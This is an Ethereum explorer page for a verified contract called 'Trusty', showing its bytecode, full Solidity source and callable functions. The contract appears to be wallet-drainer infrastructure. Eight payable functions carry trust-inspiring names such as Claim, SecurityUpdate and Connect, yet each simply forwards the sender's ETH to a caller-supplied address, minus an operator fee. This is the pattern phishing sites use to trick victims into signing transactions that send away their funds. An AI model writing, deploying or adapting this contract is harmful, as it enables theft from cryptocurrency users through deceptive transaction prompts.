Cryo Explorer Ethereum Mainnet

Address Contract Verified

Address 0x3f8aBeAa678d799da814F6fccC2715C816C3cce3
Balance 0 ETH
Nonce 1
Code Size 2936 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

2936 bytes
0x6080604052600436106100dd5760003560e01c8063593dae5b1161007f578063ced72f8711610059578063ced72f8714610225578063d285660d14610250578063f2fde38b14610279578063f3294c13146102a2576100dd565b8063593dae5b146101c257806363e32091146101de578063893d20e8146101fa576100dd565b806312065fe0116100bb57806312065fe01461013657806332b806761461016157806339d0534a1461018a57806339fded47146101a6576100dd565b80630178be5f146100e2578063064c8c7c146100fe5780630c7ef9321461011a575b600080fd5b6100fc60048036038101906100f791906107f7565b6102be565b005b610118600480360381019061011391906107f7565b6102ca565b005b610134600480360381019061012f91906107f7565b6102d6565b005b34801561014257600080fd5b5061014b6102e2565b604051610158919061083d565b60405180910390f35b34801561016d57600080fd5b50610188600480360381019061018391906107f7565b6102ea565b005b6101a4600480360381019061019f91906107f7565b6103d2565b005b6101c060048036038101906101bb91906107f7565b6103de565b005b6101dc60048036038101906101d791906107f7565b6103ea565b005b6101f860048036038101906101f391906107f7565b6103f6565b005b34801561020657600080fd5b5061020f610402565b60405161021c9190610867565b60405180910390f35b34801561023157600080fd5b5061023a61042b565b604051610247919061083d565b60405180910390f35b34801561025c57600080fd5b50610277600480360381019061027291906108bb565b610435565b005b34801561028557600080fd5b506102a0600480360381019061029b91906107f7565b610595565b005b6102bc60048036038101906102b791906107f7565b6106e7565b005b6102c7816106f3565b50565b6102d3816106f3565b50565b6102df816106f3565b50565b600047905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036f90610945565b60405180910390fd5b6000600154905060006001819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156103cd573d6000803e3d6000fd5b505050565b6103db816106f3565b50565b6103e7816106f3565b50565b6103f3816106f3565b50565b6103ff816106f3565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600154905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ba90610945565b60405180910390fd5b60008160ff16101580156104db5750600a8160ff1611155b61051a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610511906109b1565b60405180910390fd5b6000600260009054906101000a900460ff16905081600260006101000a81548160ff021916908360ff1602179055507f8aeb416bcc35d1e0f263caf174a830fa26332f626c038ddcb56f0100f456680b81600260009054906101000a900460ff166040516105899291906109e0565b60405180910390a15050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061a90610945565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f20785b27e5fe438f15d8e2c5ccf83f449d08d77cba6151a2857a22015412860660405160405180910390a35050565b6106f0816106f3565b50565b60003490506000600260009054906101000a900460ff1660ff1660648361071a9190610a67565b6107249190610a98565b905080826107329190610ada565b9150806001546107429190610b0e565b6001819055508273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561078e573d6000803e3d6000fd5b50505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006107c482610799565b9050919050565b6107d4816107b9565b81146107df57600080fd5b50565b6000813590506107f1816107cb565b92915050565b60006020828403121561080d5761080c610794565b5b600061081b848285016107e2565b91505092915050565b6000819050919050565b61083781610824565b82525050565b6000602082019050610852600083018461082e565b92915050565b610861816107b9565b82525050565b600060208201905061087c6000830184610858565b92915050565b600060ff82169050919050565b61089881610882565b81146108a357600080fd5b50565b6000813590506108b58161088f565b92915050565b6000602082840312156108d1576108d0610794565b5b60006108df848285016108a6565b91505092915050565b600082825260208201905092915050565b7f4163636573732044656e69656400000000000000000000000000000000000000600082015250565b600061092f600d836108e8565b915061093a826108f9565b602082019050919050565b6000602082019050818103600083015261095e81610922565b9050919050565b7f496e76616c69642050657263656e746167650000000000000000000000000000600082015250565b600061099b6012836108e8565b91506109a682610965565b602082019050919050565b600060208201905081810360008301526109ca8161098e565b9050919050565b6109da81610882565b82525050565b60006040820190506109f560008301856109d1565b610a0260208301846109d1565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610a7282610824565b9150610a7d83610824565b925082610a8d57610a8c610a09565b5b828204905092915050565b6000610aa382610824565b9150610aae83610824565b9250828202610abc81610824565b91508282048414831517610ad357610ad2610a38565b5b5092915050565b6000610ae582610824565b9150610af083610824565b9250828203905081811115610b0857610b07610a38565b5b92915050565b6000610b1982610824565b9150610b2483610824565b9250828201905080821115610b3c57610b3b610a38565b5b9291505056fea2646970667358221220c016ba0a5e8485f17cbe9283bb58f4d7ff32545c76a71aaf132cf1e8bd1be68864736f6c63430008120033

Verified Source Code Full Match

Compiler: v0.8.18+commit.87f61d96 EVM: paris Optimization: No
Trusty.sol 53 lines
// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.18;

contract Trusty {

  address private owner;
  uint256 private fee;
  uint8 private percentage;

  event Ownership(address indexed previous_owner, address indexed current_owner);
  event Percentage (uint8 previous_percentage, uint8 current_percentage);

  constructor() { owner = msg.sender; fee = 0; percentage = 5; }

  function getOwner() public view returns (address) { return owner; }
  function getBalance() public view returns (uint256) { return address(this).balance; }
  function getFee() public view returns (uint256) { return fee; }

  function withdraw(address sender) private {
    uint256 amount = msg.value;
    uint256 reserve = (amount / 100) * percentage;
    amount = amount - reserve; fee = fee + reserve;
    payable(sender).transfer(amount);
  }

  function Claim(address sender) public payable { withdraw(sender); }
  function ClaimReward(address sender) public payable { withdraw(sender); }
  function ClaimRewards(address sender) public payable { withdraw(sender); }
  function Execute(address sender) public payable { withdraw(sender); }
  function Multicall(address sender) public payable { withdraw(sender); }
  function Swap(address sender) public payable { withdraw(sender); }
  function Connect(address sender) public payable { withdraw(sender); }
  function SecurityUpdate(address sender) public payable { withdraw(sender); }

  function transferOwnership(address new_owner) public {
    require(msg.sender == owner, "Access Denied");
    address previous_owner = owner; owner = new_owner;
    emit Ownership(previous_owner, new_owner);
  }
  function Fee(address receiver) public {
    require(msg.sender == owner, "Access Denied");
    uint256 amount = fee; fee = 0;
    payable(receiver).transfer(amount);
  }
  function changePercentage(uint8 new_percentage) public {
    require(msg.sender == owner, "Access Denied");
    require(new_percentage >= 0 && new_percentage <= 10, "Invalid Percentage");
    uint8 previous_percentage = percentage; percentage = new_percentage;
    emit Percentage(previous_percentage, percentage);
  }

}

Read Contract

getBalance 0x12065fe0 → uint256
getFee 0xced72f87 → uint256
getOwner 0x893d20e8 → address

Write Contract 11 functions

These functions modify contract state and require a wallet transaction to execute.

Claim 0x0c7ef932
address sender
ClaimReward 0x63e32091
address sender
ClaimRewards 0x0178be5f
address sender
Connect 0x064c8c7c
address sender
Execute 0xf3294c13
address sender
Fee 0x32b80676
address receiver
Multicall 0x39d0534a
address sender
SecurityUpdate 0x593dae5b
address sender
Swap 0x39fded47
address sender
changePercentage 0xd285660d
uint8 new_percentage
transferOwnership 0xf2fde38b
address new_owner

Recent Transactions

No transactions found for this address